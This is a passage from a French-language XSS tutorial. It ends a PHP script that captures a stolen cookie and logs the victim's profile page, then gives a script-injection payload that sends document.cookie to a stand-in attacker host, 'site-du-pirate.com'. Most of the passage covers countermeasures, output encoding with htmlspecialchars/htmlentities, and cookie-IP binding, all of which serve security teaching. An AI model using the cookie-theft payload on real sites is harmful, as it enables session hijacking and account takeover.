	$log = fopen('log-'.mt_rand().'.html','w');
	fwrite($log,$reponse);

	// Fermeture du fichier et de la socket
	fclose($log);
	fclose($handle);
}
?>

Ainsi, nous pouvons nommer ce script "piege.php" et nous pouvons injecter notre javascript correctement afin de faire exécuter le code PHP avec le cookie volé. Exemple :

<script>location.replace("http://site-du-pirate.com/piege.php?cookie="+document.cookie);</script>

Des que le navigateur de la victime aura exécuté ce code, nous aurons une page html enregistée sur notre serveur, qui correspondra à la page profil de la victime. Ainsi, il est possible de récupérer des informations intéressantes.

Voilà, maintenant que nous avons poussé les limites de la faille un peu plus loin, passons à la sécurisation.

Contre-mesures, sécurisation

L'idée la plus commune est de vouloir filtrer les entrées, mais supprimer ou remplacer une expression comme "<script>" ou un caractère comme "<" ne suffit pas. En effet on peut toujours trouver une solution alternative, il existe de nombreuses façons d'insérer du code dynamique dans une page : <img>, <iframe>, onload, onerror, etc...

On peut aussi penser à n'autoriser que certains caractères, mais ce n'est pas facile a réaliser, pas très souple et cela pose des problèmes de prise en compte des différents encodages. Il faudrait mettre en place une regex très stricte à laquelle on comparerait les données de l'utilisateur, du même style que celle ci : [a-zA-Z0-9]+.

Manifestement les deux pseudo-solutions auquelles on peut penser ne sont pas efficaces. La bonne solution est la suivante : il faut convertir les données. Dans le langage que nous avons choisi, le PHP, il existe différentes fonctions pour ce faire :htmlentities() et htmlspecialchars() convertissent toutes les deux les données pour qu'elles ne soient pas interprétées par le navigateur mais simplement affichées, à la différence que htmlspecialchars ne convertira que les caractères suivants : & ' " < >. (note : on utilisera l'argument ENT_QUOTES avec les deux fonctions afin que les guillemets simples et doubles soient aussi converties.

Pour ce qui est des cookies, on peut aussi instaurer une sécurité. On peut par exemple enregistrer l'IP du client pour lequel on forge le cookie, et ainsi refuser la connection et détruire le cookie si elle est demandée avec le même cookie mais que l'IP diffère de celle de l'enregistrement. En effet un cookie est propre a un ordinateur, ainsi si le membre veut se connecter depuis un autre ordinateur il réutilisera ses identifiants plutôt que de transférer et d'émuler son cookie. Une connection depuis un autre ordinateur directement par cookie et non par identifiants signifierais donc peut-être une tentative d'attaque... Par contre cette sécurisation pose problème dans le cadre des IP dynamiques.

Conclusion

En conclusion, et après tout ce que nous venons de voir, nous pouvons dire que les failles XSS ne sonts pas des failles à négliger étant donné qu'elles permettent, par une attaque bien menée, d'effectuer n'importe quelles actions sur le site faillible. Et malgré cela, ces failles restent parmis les plus présentes sur Internet ! Il faut donc informer les Webmasters du danger potentiel qu'instaure une XSS sur un site, afin que ceux ci comprenent qu'il faut absolument sécuriser les données modifiables par un utilisateur lambda.

Voilà, fin de ce tutorial, j'éspère qu'il vous aura sensibilisé aux risques que court un site possédant une faille XSS.

Par NiklosKoda <nikloskoda[AT]hotmail[DOT]fr> et Geo <geo[DOT]669[AT]gmail[DOT]com>.
Un énorme merci à Bidibidou pour les images. ;)

Liens